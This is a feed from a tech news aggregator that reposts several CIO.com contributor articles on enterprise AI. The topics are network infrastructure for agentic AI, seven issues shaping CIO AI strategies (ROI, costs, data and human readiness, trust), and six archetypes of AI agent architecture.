<p class="wp-block-paragraph">Artificial intelligence is not simply changing business operations. It is exposing the inadequacy of many of the measures used to evaluate business success itself. The central challenge of the AI economy may ultimately become not whether organizations adopt AI, but whether they can distinguish between technological activity and actual economic value creation.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Building the network for agentic AI: The foundation for autonomous enterprise operations]]></title>
<description><![CDATA[Enterprise AI is entering a new phase. While the first wave of generative AI focused on human productivity and content creation, the next wave — agentic AI — will fundamentally change how organizations operate. Agentic AI systems are capable of reasoning, planning, making decisions and executing ...]]></description>
<link>https://tsecurity.de/de/3680792/it-nachrichten/building-the-network-for-agentic-ai-the-foundation-for-autonomous-enterprise-operations/</link>
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<pubDate>Mon, 20 Jul 2026 12:03:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Enterprise AI is entering a new phase. While the first wave of generative AI focused on human productivity and content creation, the next wave — agentic AI — will fundamentally change how organizations operate. Agentic AI systems are capable of reasoning, planning, making decisions and executing actions across applications, workflows and business processes with minimal human intervention.</p>



<p class="wp-block-paragraph">As organizations move toward agentic frameworks that can independently resolve customer issues, optimize supply chains, manage infrastructure, coordinate workflows and even operate IT environments, one reality becomes clear: The network becomes the nervous system of the autonomous enterprise.</p>



<p class="wp-block-paragraph">The infrastructure requirements of agentic AI differ dramatically from those of traditional applications. These systems are highly distributed, continuously exchanging information, interacting with APIs, accessing multiple data sources and making decisions in real time. The performance, security, visibility and adaptability of the network will directly determine the effectiveness of AI agents. Organizations that view AI readiness solely as a compute or data challenge risk overlooking one of the most critical enablers of future success — the network itself.</p>



<h2 class="wp-block-heading">From AI-ready networks to autonomous networks</h2>



<p class="wp-block-paragraph">The long-term destination is the <a href="https://www.ericsson.com/en/ai/autonomous-networks">autonomous network</a>: A network capable of self-monitoring, self-optimizing, self-healing and self-securing through the use of AI and automation. However, autonomous networking will not emerge overnight. The investments enterprises make today to support agentic AI are the same foundational building blocks required for tomorrow’s autonomous operations.</p>



<p class="wp-block-paragraph">In many ways, agentic AI serves as both the driver and beneficiary of network transformation. AI agents require networks that can dynamically adapt to changing demands, while autonomous networks will increasingly rely on AI agents to manage and optimize themselves. The result is a reinforcing cycle where AI and networking evolve together.</p>



<h2 class="wp-block-heading">The core characteristics of the network of the future</h2>



<p class="wp-block-paragraph">One of the most critical requirements for AI-ready networks is real-time observability and telemetry. Agentic AI thrives on context, and AI agents must continuously gather information from users, applications, devices, clouds, security systems and operational platforms. Future-ready networks must provide end-to-end visibility across campus, branch, cloud and data center environments. High-fidelity telemetry streams, real-time performance monitoring, application-aware analytics, AI-aware analytics and unified operational visibility are essential. Without comprehensive visibility, AI agents operate with incomplete information, limiting their effectiveness and increasing operational risk.</p>



<p class="wp-block-paragraph">Another cornerstone is intent-based automation. Traditional networks are configured manually, often requiring administrators to define thousands of individual settings. In contrast, autonomous networks operate according to business intent. Enterprises increasingly need to define desired outcomes — such as maintaining application performance, optimizing user experience or automatically isolating compromised devices — rather than micromanaging configurations. The network continuously adjusts itself to achieve those objectives, providing the foundation upon which AI agents can make decisions safely and consistently.</p>



<p class="wp-block-paragraph">Agentic AI also introduces entirely new traffic patterns that require AI-optimized connectivity. Large language models, retrieval systems, vector databases, cloud AI services, edge inference platforms and multi-agent orchestration frameworks create significant east-west and cloud-bound traffic. Future networks must provide low-latency connectivity, high-capacity fabrics, dynamic traffic engineering, edge-to-cloud optimization and policies that identify and prioritize AI workloads. The organizations that can move data efficiently will gain a competitive advantage in AI execution speed and responsiveness.</p>



<p class="wp-block-paragraph">Security is another non-negotiable element. Agentic AI expands the enterprise attack surface because AI agents increasingly access sensitive systems, interact with APIs, consume proprietary data and execute actions across business environments. Future-ready networks must embed zero trust security into their architecture, with continuous identity verification, fine-grained access controls, microsegmentation, policy-driven authorization and continuous risk assessment. Security can no longer be bolted onto the network; it must be integral to its design and AI agents need to adhere to their own identity rules.</p>



<p class="wp-block-paragraph">Finally, distributed intelligence across edge and cloud environments is essential. Many AI use cases require decisions to occur close to the source of data. Manufacturing systems, healthcare environments, retail operations, transportation networks and smart facilities often cannot tolerate the latency associated with centralized processing. Future networks must support edge AI deployment, distributed processing architectures, local inference, hybrid cloud operations and intelligent workload placement. The ability to move intelligence closer to users, devices and operational environments will become increasingly important as agentic AI expands across the enterprise.</p>



<h2 class="wp-block-heading">Human expertise remains essential</h2>



<p class="wp-block-paragraph">Despite rapid advances in AI, the future will not eliminate the need for human expertise. In fact, it may increase its importance. One of the most significant misconceptions surrounding AI is that automation eliminates the need for skilled professionals. The reality is that autonomous systems require expert oversight, governance, validation and continuous optimization.</p>



<p class="wp-block-paragraph">As AI systems become more capable, enterprises will need professionals who understand network architecture, security policy, AI governance, operational risk management, data quality, regulatory compliance and human-in-the-loop decision frameworks. The challenge is compounded by the unprecedented pace of AI innovation. New models, architectures, orchestration frameworks, security concerns and governance requirements emerge almost monthly. Most enterprise IT teams cannot be expected to independently evaluate every development while simultaneously modernizing infrastructure and maintaining day-to-day operations.</p>



<p class="wp-block-paragraph">Organizations need access to experts who continuously track technology evolution, understand emerging best practices and can help translate innovation into practical deployment strategies. These experts provide not only implementation support but also ongoing operational guidance, helping enterprises maintain appropriate human oversight as AI capabilities expand. The future is not fully autonomous decision-making without people; it is intelligent automation operating under expert human governance.</p>



<h2 class="wp-block-heading">5 actions enterprises should take now</h2>



<p class="wp-block-paragraph">Organizations should be preparing for the autonomous future right now. The following investments deliver immediate value while laying the groundwork for long-term AI transformation:</p>



<ol start="1" class="wp-block-list">
<li><strong>Modernize network observability.</strong> Establish <a href="https://www.ibm.com/think/insights/ai-agent-observability">comprehensive visibility</a> across users, applications, devices, clouds and infrastructure. Rich telemetry and operational data will become the fuel that powers both Agentic AI and autonomous network operations.</li>



<li><strong>Build an automation-first operating model.</strong> Identify repetitive operational processes and begin automating them. Automation maturity is a prerequisite for autonomous networking and creates the operational foundation AI agents will eventually leverage.</li>



<li><strong>Adopt zero-trust principles across the enterprise.</strong> Implement identity-centric security controls, segmentation and continuous policy enforcement. As AI agents gain access to enterprise systems, <a href="https://www.forrester.com/zero-trust/">security architectures</a> must evolve to leverage the same identity controls.</li>



<li><strong>Design for edge-to-cloud AI workloads.</strong> Evaluate network architectures for latency, bandwidth and resiliency requirements associated with distributed AI. Future AI deployments will span data centers, public clouds, branch locations and edge environments.</li>



<li><strong>Invest in skills and strategic partnerships.</strong> Develop <a href="https://mitsloan.mit.edu/ideas-made-to-matter/artificial-intelligence-pays-when-businesses-go-all">internal expertise</a> while leveraging partners that possess deep networking, automation, security and AI knowledge. Human expertise remains one of the most important success factors in building AI-ready and autonomous infrastructures.</li>
</ol>



<h2 class="wp-block-heading">The road ahead</h2>



<p class="wp-block-paragraph">Agentic AI is poised to transform enterprise operations in much the same way cloud computing transformed infrastructure and the internet transformed business itself. But AI agents cannot operate effectively without a modern network foundation. The enterprises that succeed will recognize that AI readiness extends beyond models and data. It requires networks that are observable, automated, secure, intelligent and increasingly autonomous. The investments made today in AI-ready networking are not merely infrastructure upgrades — they are strategic building blocks toward the autonomous enterprise of the future, where AI agents and autonomous networks work together under human guidance to deliver unprecedented levels of agility, efficiency, and innovation.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[7 issues impacting AI strategies — and how CIOs should respond]]></title>
<description><![CDATA[CIOs remain at the forefront of setting the course for AI adoption in their organizations.



In fact, 82% of CIO respondents to CIO.com’s 2026 State of the CIO survey are responsible for researching and evaluating AI products, with 78% of IT leaders saying their IT departments are driving AI ado...]]></description>
<link>https://tsecurity.de/de/3680786/it-nachrichten/7-issues-impacting-ai-strategies-and-how-cios-should-respond/</link>
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<pubDate>Mon, 20 Jul 2026 12:03:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">CIOs remain at the forefront of setting the course for AI adoption in their organizations.</p>



<p class="wp-block-paragraph">In fact, 82% of CIO respondents to <a href="https://us.resources.cio.com/resources/state-of-the-cio/">CIO.com’s 2026 State of the CIO survey</a> are responsible for researching and evaluating AI products, with 78% of IT leaders saying their IT departments are driving AI adoption efforts, with business units aligning their strategies accordingly.</p>



<p class="wp-block-paragraph">As such, CIOs are leading or co-leading AI strategies at the majority of organizations, with many also playing a key role in tackling <a href="https://www.cio.com/article/4016354/cios-tackle-the-ai-change-management-challenge.html">AI change management</a>. They report encountering numerous factors — from heightened pressure to deliver ROI to challenges with trust in AI outputs — as they formulate and shape those AI strategies.</p>



<p class="wp-block-paragraph">Here’s a look at seven notable issues impacting AI strategies in 2026.</p>



<h2 class="wp-block-heading">1. Increasing pressure to show ROI for AI investments</h2>



<p class="wp-block-paragraph">The era of AI experimentation and pilots is over. Boards and CEOs are making it clear they want to see <a href="https://www.cio.com/article/4114010/2026-the-year-ai-roi-gets-real.html">quantifiable returns from their AI investments</a>. Kyndryl’s 2025 <a href="https://www.kyndryl.com/us/en/insights/readiness-report-2025">Readiness Report</a>, for example, found that 61% of senior business leaders and decision-makers felt more pressure to prove ROI on their AI investments than they had the prior year.</p>



<p class="wp-block-paragraph">“The era of funding AI is shifting from everything all-in to every project has to have line of sight to some financial value at the end of the day. It’s moving from the experimentation phase to expecting measurable outcomes,” says <a href="https://www.ensono.com/company/leadership/jim-piazza/">Jim Piazza</a>, chief AI officer at IT services firm Ensono.</p>



<p class="wp-block-paragraph">As a result, Piazza says companies, both his own as well as those he advises, are more diligent about building business cases that estimate implementation costs, AI run costs, and expected benefits so they’re primed to pursue AI initiatives that will deliver ROI.</p>



<p class="wp-block-paragraph">That strategy seems to be paying off. According to the <a href="https://www.prnewswire.com/news-releases/dun--bradstreet-global-survey-of-10-000-businesses-finds-ai-impact-at-an-inflection-point-302761821.html">May 2026 AI Momentum Survey from Dun &amp; Bradstreet</a>, 67% of 10,000 businesses surveyed reported seeing early signs or pockets of ROI, 20% reported multiple projects delivering ROI, and 10% reported strong ROI.</p>



<p class="wp-block-paragraph">That’s a big jump from earlier surveys that found few AI initiatives providing returns. For example, <a href="https://www.pwc.com/gx/en/news-room/press-releases/2026/pwc-2026-global-ceo-survey.html">PwC’s 2026 Global CEO Survey</a>, released in January, found that 56% of CEOs saw no significant financial benefit from AI to date, while <a href="https://mlq.ai/media/quarterly_decks/v0.1_State_of_AI_in_Business_2025_Report.pdf">The GenAI Divide: State of AI in Business 2025</a> from MIT found that 95% of enterprise generative AI projects failed to show measurable financial returns within six months.</p>



<h2 class="wp-block-heading">2. The need to harness AI for transformation</h2>



<p class="wp-block-paragraph">The No. 1 concern for CEOs this year, according to <a href="https://www.pwc.com/gx/en/news-room/press-releases/2026/pwc-2026-global-ceo-survey.html">PwC’s 2026 Global CEO Survey</a>, is whether they’re transforming fast enough to keep pace with technological change, cited by 42% of respondents as their top concern. And 68% of the 1,120-plus C-suite executives surveyed by KPMG for its May 2026 <a href="https://kpmg.com/us/en/articles/2026/adaptability-pulse-survey.html">Adaptability Pulse Survey</a> said they feel pressure to accelerate innovation.</p>



<p class="wp-block-paragraph">That in turn is influencing AI strategies.</p>



<p class="wp-block-paragraph"><a href="http://steve%20santana%20%7C%20linkedin/">Steve Santana</a>, CIO and head of AI at ETS, the world’s largest private nonprofit educational testing and assessment organization, says his company is “pivoting from working on enterprise efficiencies using AI to figuring out how to deliver assessments,” adding that “AI will enable innovation we couldn’t get to before.”</p>



<p class="wp-block-paragraph">For ETS, that means reimagining how the company delivers its core products, “finding areas to do something you couldn’t do before because it was too big or too daunting,” such as having more interactive tests and assessments at scale, Santana says.</p>



<p class="wp-block-paragraph">And while Santana believes organizations can’t move too slowly, he predicts innovation will trump speed. “The winners and losers in the AI race aren’t always going to be the ones that got there the fastest,” he says, observing that those who move too fast “can drive behaviors that are very dangerous.”</p>



<p class="wp-block-paragraph">He adds, “I’m not advocating for moving slow; I’m advocating moving at pace. It’s better to be measured in your approach.”</p>



<h2 class="wp-block-heading">3. The black box of AI costs</h2>



<p class="wp-block-paragraph">CIOs are struggling to calculate the full cost to run AI for their use cases, with estimates coming in well under what their actual bills will be. Consider the figures from research firm IDC, which found that global 1,000 companies will <a href="https://www.cio.com/article/4107377/cios-will-underestimate-ai-infrastructure-costs-by-30.html">underestimate their AI infrastructure costs by 30% through 2027</a>.</p>



<p class="wp-block-paragraph">That makes identifying which AI use cases will produce quantifiable value much more challenging, which in turn makes determining a winning AI strategy harder to do. CIOs, however, say they can’t let that stop them from advising their C-suite colleagues on which AI use cases are likely to be winners.</p>



<p class="wp-block-paragraph">“You can’t sit on the sidelines and wait and watch. The general conclusion is you’re going to lose if you do that, so you have to play even though the cost dynamics are not really well understood,” says <a href="http://mohan%20sankararaman%20-%20corporate%20leadership/">Mohan Sankararaman</a>, executive vice president and CIO of First Horizon Bank.</p>



<p class="wp-block-paragraph">Sankararaman says he’s devising his AI strategy with that uncertainty in mind.</p>



<p class="wp-block-paragraph">“It’s up to me and my team to figure out how to optimize our use for costs, just like we did with cloud,” he says, noting that part of his strategy is to avoid infrastructure choices that could result in AI vendor lock-in and, thus, getting stuck with that vendor’s bills.</p>



<p class="wp-block-paragraph">“IT has to get the engineering right and not overengineer solutions to make sure the AI strategy we pursue delivers returns,” he adds.</p>



<p class="wp-block-paragraph">Researchers recommend such approaches. In a <a href="https://www.idc.com/resource-center/blog/balancing-ai-innovation-and-cost-the-new-finops-mandate/">blog highlighting the IDC research</a>, Jevin Jensen, research vice president for infrastructure and operations at IDC, wrote that “organizations successfully navigating this challenge are ones that effectively share a common trait: they’ve reimagined FinOps as a strategic team, not an after-the-fact accounting exercise. They treat <a href="https://my.idc.com/getdoc.jsp?containerId=US53858725&amp;pageType=PRINTFRIENDLY" target="_blank" rel="noreferrer noopener">AI economics as a living ecosystem</a> — measurable, visible, and continuously optimized.”</p>



<h2 class="wp-block-heading">4. Aligning use cases to business strategy</h2>



<p class="wp-block-paragraph">There are an overwhelming number of potential use cases, so execs must pick and prioritize those that will help them achieve their strategic goals.</p>



<p class="wp-block-paragraph">That’s easier said than done.</p>



<p class="wp-block-paragraph">Enterprise Strategy Group’s <a href="https://www.snowflake.com/en/news/press-releases/snowflake-research-reveals-that-92-percent-of-early-adopters-see-roi-from-ai-investments/">2025 report on generative AI’s ROI</a> surveyed 1,900 business and IT leaders across nine countries and found that 71% had more potential use cases that they want to pursue than they can possibly fund; 54% said selecting the right use cases based on objective measures like cost, business impact, and the organization’s ability to execute is hard; and 71% acknowledged that selecting the wrong use cases will hurt their company’s market position. Furthermore, 59% of respondents said advocating for the wrong use cases could cost them their job.</p>



<p class="wp-block-paragraph">Longtime CIO adviser <a href="http://larry%20wolff%20%7C%20linkedin/">Larry Wolff</a> says challenges picking and prioritizing use cases stems in part from boards and CEOs commanding their teams “to do AI.” Such directives, he explains, puts the technology first and business goals second — something CIOs have been trying to avoid for years.</p>



<p class="wp-block-paragraph">“There should not be a technology strategy. There should be a business strategy with a technology component. The same applies to AI,” says Wolff, now CIO of Preferred Travel Group. “We need to talk about business challenges and opportunities first and then talk about how AI can solve for those.”</p>



<h2 class="wp-block-heading">5. Human readiness to use AI</h2>



<p class="wp-block-paragraph">Even as Sankararaman and his executive colleagues build the bank’s AI strategy, he still sees the need to <a href="https://www.cio.com/article/4146677/the-ai-revolution-getting-culture-right-for-ai-success.html">improve the organization’s understanding of the technology</a>. “Everybody has a basic understanding, but AI fluency isn’t where it should be,” he says, noting that a subpar level of fluency “can hamper creativity.”</p>



<p class="wp-block-paragraph">“If the strategy is to become top notch in, say, customer experience, we have to determine how to achieve that. And if you start building the road map but you don’t know what the technology can do, then the strategy will be limited,” he adds.</p>



<p class="wp-block-paragraph">Sankararaman considers running AI boot camps for executives and their direct reports to improve their knowledge of AI and its transformative capabilities. “Not everyone needs to be an AI expert, but we still need to have a level of understanding of, say, what a large language model is and how to apply it and other elementary things like that. The hope is that when we do talk about strategy for business outcomes, everyone will know how to leverage AI,” he explains.</p>



<p class="wp-block-paragraph">According to <a href="https://www.ey.com/en_us/people/jamaal-justice">Jamaal Justice</a>, principal for people consulting at EY, concern about AI fluency is widespread.</p>



<p class="wp-block-paragraph">“One of the biggest challenges that impacts the success of an AI strategy is human readiness,” Justice says. He points to <a href="https://www.ey.com/en_uk/insights/workforce/work-reimagined-survey">EY research</a> showing “that while 88% of employees use AI at work, only 28% of organizations have positioned employees to achieve transformative business impact from AI. This underscores that the challenge is not access, but adoption and readiness.”</p>



<p class="wp-block-paragraph">Like Sankararaman, Justice acknowledges that it’s OK to have a spectrum of knowledge and use among workers. But success with AI “depends on aligning mindsets, skillsets, and toolsets, by creating the right conditions for both workforce readiness and effective technology use,” he says.</p>



<p class="wp-block-paragraph">“Organizations that integrate human capability with technology and fundamentally rearchitect work using a human-centered and value-oriented approach will unlock value at scale,” he adds. “Those that don’t risk fragmented adoption and limited returns.”</p>



<p class="wp-block-paragraph"><a href="https://www.ey.com/en_uk/insights/workforce/work-reimagined-survey">EY research</a> confirms as much, finding that productivity gains can fall by more than 40% when AI is deployed on weak talent foundations, including poor learning, culture, and incentives.</p>



<h2 class="wp-block-heading">6. Data readiness for AI use</h2>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4104444/8-tips-for-rebuilding-an-ai-ready-data-strategy.html">Data readiness</a> is also lagging at most organizations, further hindering AI ambitions.</p>



<p class="wp-block-paragraph">According to a 2026 report from Cloudera and Harvard Business Review Analytic Services titled <a href="https://www.cloudera.com/campaign/taming-the-complexity-of-ai-data-readiness.html">Taming the Complexity of AI Data Readiness</a>, 73% of surveyed business leaders said their organization struggles with AI data preparation. The top obstacles are siloed data and difficulty integrating data sources (56%), lack of a clear data strategy (44%), data quality and bias issues (41%), and regulatory constraints on data use (34%).</p>



<p class="wp-block-paragraph">To ensure AI success, “a radical reshaping of the data landscape is needed,” says <a href="https://www.linkedin.com/in/steve-prewitt-295859/">Steve Prewitt</a>, who as chief data and AI officer at IT services firm Genpact advises clients on AI deployments for their own organizations.</p>



<p class="wp-block-paragraph">That reshaping is more critical today as agentic AI becomes more prevalent, Prewitt observes. Organizations need high-quality well-governed data to enable and trust AI agents to make real-time decisions autonomously. Otherwise, organizations either can’t move forward with deploying agents or, if they do, risk triggering cascading failures.</p>



<h2 class="wp-block-heading">7. Engendering trust</h2>



<p class="wp-block-paragraph">ETS CIO Santana and his colleagues recognize AI’s potential to deliver faulty outputs, whether from problematic data, drift, or other problems. Everyday users recognize that potential, too.</p>



<p class="wp-block-paragraph">That’s why the issue of trust has a significant impact on the nonprofit’s AI strategy. Companies such as ETS that provide critical, high-stakes services know they must earn trust by building AI use cases that can consistently and demonstratively deliver accurate outputs, Santana says.</p>



<p class="wp-block-paragraph">ETS’s strategy is to highlight where AI is making high-stakes decisions and to detail what steps the company must take to ensure that it consistently delivers accurate, trustworthy outputs and that it conforms to established standards and requirements, he says.</p>



<p class="wp-block-paragraph">“You don’t want someone to feel the results may be wrong if you’re using AI to assess a person and their future depends on it,” he notes. “You want to remove any doubts [in such AI use cases], and the strategy should ensure that. The strategy should include all the work needed to have that trust.”</p>
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<title><![CDATA[The 6 kinds of AI agent architectures]]></title>
<description><![CDATA[Somewhere in the last eighteen months, “AI agent” stopped being a useful term. CIOs may even be afraid to ask what “agent” truly means, as it now seems to describe everything from a chatbot that answers HR questions to an autonomous research system that plans its own week of work. When a single p...]]></description>
<link>https://tsecurity.de/de/3680680/it-security-nachrichten/the-6-kinds-of-ai-agent-architectures/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680680/it-security-nachrichten/the-6-kinds-of-ai-agent-architectures/</guid>
<pubDate>Mon, 20 Jul 2026 11:09:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Somewhere in the last eighteen months, “AI agent” stopped being a useful term. CIOs may even be afraid to ask what “agent” truly means, as it now seems to describe everything from a chatbot that answers HR questions to an autonomous research system that plans its own week of work. When a single phrase carries that much weight, well, it stops carrying any.</p>



<p class="wp-block-paragraph">I’ve spent the last three years inside hundreds of enterprise AI deployments, and the factor that separates the programs scaling elegantly from the ones still shuffling is often the CIO’s architectural fluency: The ability to look at business problems across the organization and recognize, on sight, what kind of AI architecture is the right fit. In my experience there are six archetypes, each with their own nuances, that CIOs should internalize to make well-informed decisions going forward.</p>



<h2 class="wp-block-heading">1. The conversational assistant</h2>



<p class="wp-block-paragraph">The first, and the one most enterprises meet first, is the conversational assistant: The chat-based partner that an employee or customer opens when they want to think out loud. <a href="https://www.deloitte.com/us/en/what-we-do/capabilities/applied-artificial-intelligence/content/state-of-ai-in-the-enterprise.html?id=us:2ps:3gl:aisgm26:awa:CONS:em:K0218784:012626:kwd-430833501819:195648817121:794247818306::&amp;gclsrc=aw.ds&amp;gad_source=1&amp;gad_campaignid=23269751971&amp;gbraid=0AAAAADenGPCB8F-Mx6GhUt0V1PWpgLqtw&amp;gclid=Cj0KCQjwi8nRBhDhARIsAHZf_pYktgKgYgYBAR6AcMikwdYOF7q6S3WaLiLYg2hwhvdCjRiqajxnqtkaAsdYEALw_wcB">Deloitte found that 38%</a> of organizations report AI is already strengthening their client or customer relationships. This is the architecture people fall in love with: A well-designed assistant with constantly updated information, persistent user-level memory, tools that can act on behalf of users, and citations on every factual claim becomes a useful problem-solver that’s available at any hour of the day.</p>



<p class="wp-block-paragraph">A global law firm I work with deployed an internal assistant that gives every attorney instant access to the firm’s accumulated precedent, memos and prior matter work. Associates who used to spend the first hour of a research task hunting through document management systems now start with a grounded, citation-backed answer and refine from there. This helped the firm’s institutional knowledge, previously locked in the heads of senior partners, become queryable by anyone with a deadline at 11 p.m., or later.</p>



<p class="wp-block-paragraph">A second example: A mid-market wealth management firm built a client-facing assistant that handles portfolio questions, statement explanations and routine servicing requests. The assistant draws from each client’s actual holdings, recent activity and the firm’s published market commentary, with citations linking back to source documents. Advisors stopped being interrupted for the questions that didn’t require an advisor, and clients got answers on a Sunday.</p>



<h2 class="wp-block-heading">2. The triggered workflow</h2>



<p class="wp-block-paragraph">Another pattern producing the value across the enterprises I work with is something that runs silently: An email arrives, a ticket is created, a file lands in a folder and the agent executes a process utilizing both reasoning and determinism. These agents don’t even require user adoption, because they’re invisible to the end user. They produce measurable outcomes, but fit cleanly into the audit and change-control processes IT teams have run for decades.</p>



<p class="wp-block-paragraph">A commercial insurer I advise built a triggered workflow for inbound submissions. Every broker email that arrives at the underwriting inbox is classified by line of business, the attachments are parsed, key risk fields are extracted into the policy administration system, and a draft acknowledgment is queued for the underwriter’s review. Seemingly overnight, the inbox began arriving pre-sorted, and submission throughput rose meaningfully without any change to headcount.</p>



<p class="wp-block-paragraph">Another example, this time from a private equity firm: Every inbound confidential information memorandum (CIM) that hits the deal team’s shared inbox triggers a workflow that extracts the financial summary, screens it against the firm’s investment criteria, drafts a preliminary memo and posts the result into the deal-tracking system. Associates still make the call on what to pursue, but the first three hours of manual work on each opportunity now happen before anyone even opens the file.</p>



<h2 class="wp-block-heading">3. The autonomous agent — with sub-agents</h2>



<p class="wp-block-paragraph">Here we have the architecture that gets the most conference attention: The autonomous agent, given a task and left to plan its own steps by utilizing its own sub-agents. Autonomous agents are not one-size-fits-all, but they do meet a specific need: Multi-source research, complex cross-system lookups, deep-dive investigations. All of these are processes where the path isn’t usually specified in advance, but the tools are. With the right design discipline, an autonomous agent feels like having a self-sufficient teammate who can call in the right resources and specialists if needed.</p>



<p class="wp-block-paragraph">A global consulting firm I work with uses an autonomous research agent for early-stage engagement scoping. Given a target company and a strategic question, the agent decides for itself which sub-agents to consult (choosing from internal proprietary databases, prior engagement archives, licensed market data, public filings) and produces a structured briefing with its reasoning chain attached.</p>



<p class="wp-block-paragraph">Another large technology company I know of deployed an autonomous agent for cross-system incident investigation. When a production alert fires, the agent forms a hypothesis, queries the necessary sub-agents with relevant monitoring tools, log stores and deployment systems, and follows the trail until it reaches a defensible root-cause summary to surface to an engineer.</p>



<h2 class="wp-block-heading">4. The multi-agent team</h2>



<p class="wp-block-paragraph">The fourth pattern is where the next wave of enterprise quality gains is going to come from. <a href="https://www.databricks.com/resources/ebook/state-of-ai-agents">According to Databricks</a>, usage of multi-agent systems grew 327% in just four months as enterprises moved beyond single chatbots. Several specialized agents, each with its own role and toolset, coordinate through a shared protocol: A researcher and a writer, a planner and a set of executors, a proposer and a critic. The proposer-critic feedback loop is one of the smartest techniques in agent design today. One model produces an answer; a second, with a different prompt and often a different provider, evaluates it against explicit criteria. For compliance review, contract analysis, high-stakes classification and any output that will be audited, this second pass is extremely helpful and mirrors how human teams work.</p>



<p class="wp-block-paragraph">A global bank I work with uses a multi-agent system for marketing and communications review. One agent drafts client-facing copy, a second checks it against the firm’s regulatory and brand guidelines and a third checks it against jurisdiction-specific disclosure rules. Disagreements among the agents are surfaced to a human reviewer with the specific clauses flagged. The compliance team stopped being the bottleneck on every routine piece of copy and started focusing on the high-judgment cases instead.</p>



<p class="wp-block-paragraph">The next example: A pharmaceutical company built a multi-agent workflow for medical literature summarization. A retriever agent gathers candidate studies, a reader agent extracts study design and findings, a critic agent challenges the reader’s claims against the source text, and a synthesizer agent composes the final brief. The proposer-critic loop in the middle is the reason the medical affairs team trusts the output enough to act on it.</p>



<h2 class="wp-block-heading">5. The human-in-the-loop (HITL) agent</h2>



<p class="wp-block-paragraph">The fifth pattern is the one I think we’ll see increasingly more of in the future. While many see “full automation” as the goal, the right target is actually to let the agent handle the 80% of a task that is mechanical, while preserving human judgment at the most critical moments. This is achievable via human-in-the-loop (HITL) agents. <a href="https://www.moodys.com/web/en/us/insights/ai/human-in-the-loop-why-human-oversight-still-matters-in-ai-driven-risk-and-compliance.html">According to Moody’s, 42%</a> of compliance professionals believe that human oversight is mandatory, and I agree: AI should run <em>right</em>, by getting approval and review before any sensitive business action is taken. HITL is the architecture that can help turn a skeptical team into an enthusiastic one.</p>



<p class="wp-block-paragraph">A regional health system I worked with uses a HITL agent for prior-authorization letters. The agent assembles the clinical evidence, drafts the letter against the relevant payer’s criteria, and routes it to a nurse case manager for review inside the existing workflow tool. The nurse approves, edits or rejects in seconds rather than minutes, and every edit helps make the next draft better.</p>



<p class="wp-block-paragraph">A property management company uses a HITL agent to run its maintenance work orders. When a tenant emails about a problem (an HVAC unit that died overnight, say), the agent pulls the structured details (tenant, unit, issue type, urgency), matches the job to the right vendor from the directory, and drafts the work order. A team member approves it in Slack before anything goes out. From there the agent emails the vendor with the full order, confirms with the tenant that someone is on the way and updates Airtable, closing the loop completely.</p>



<h2 class="wp-block-heading">6. The scheduled agent</h2>



<p class="wp-block-paragraph">On a set schedule or against a batch of inputs, this agent runs the same defined task: Produce a report, refresh a dataset, monitor a set of sources or summarize a period of activity. Under this archetype, unsexy work gets done consistently, integrated into existing operational rhythms like the Monday morning meeting, the daily standup and the monthly board deck, without asking anyone to change their behavior. This is the architecture that shifts AI from feeling like even more work, to a seamless teammate that just works.</p>



<p class="wp-block-paragraph">A private equity firm I work with runs a scheduled agent every Monday at 6 a.m. that monitors news, filings and earnings activity across every portfolio company and produces a single PDF that lands in the deal partners’ inboxes before the weekly investment meeting. No one logs into a dashboard. The agent shows up, on time, with the same format every week, and the meeting now starts from a shared baseline rather than from whatever each partner happened to read over the weekend.</p>



<p class="wp-block-paragraph">A second example: A global manufacturer runs a nightly batch agent that ingests the day’s quality-control reports across plants, summarizes anomalies against a rolling baseline, and produces an end-of-shift handoff document for each site lead’s morning. The agent doesn’t flag emergencies, but it ensures that the slow-moving patterns no human would catch reading one shift’s data in isolation get surfaced.</p>



<h2 class="wp-block-heading">Bringing it together</h2>



<p class="wp-block-paragraph">None of these six archetypes is more advanced than the others or inherently better. But CIOs can have an edge by choosing the one that the operational problem actually calls for.</p>



<p class="wp-block-paragraph">Before you scope a single deployment, you should be able to look at a business problem and name its shape: Is this a question someone needs answered in the moment, or a process that should run the instant a trigger fires? Does the path need to be discovered, or is it known in advance and just waiting to be executed? Where, exactly, does human judgment have to stay in the loop, and where is it just friction?</p>



<p class="wp-block-paragraph">Going forward, CIOs should start treating the architecture decision as the first design choice. Everything downstream — adoption, governance, trust — only gets easier if the architecture is the right fit.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[The gravitational pull of AI]]></title>
<description><![CDATA[Last year Anthropic gave away one of the most successful things it has ever built. And, no, I’m not talking about Claude. I’m referring to MCP, the now ubiquitous Model Context Protocol, which Anthropic donated to the Linux Foundation’s new Agentic AI Foundation⁠. At the time, MCP was pulling nea...]]></description>
<link>https://tsecurity.de/de/3680668/ai-nachrichten/the-gravitational-pull-of-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680668/ai-nachrichten/the-gravitational-pull-of-ai/</guid>
<pubDate>Mon, 20 Jul 2026 11:04:13 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
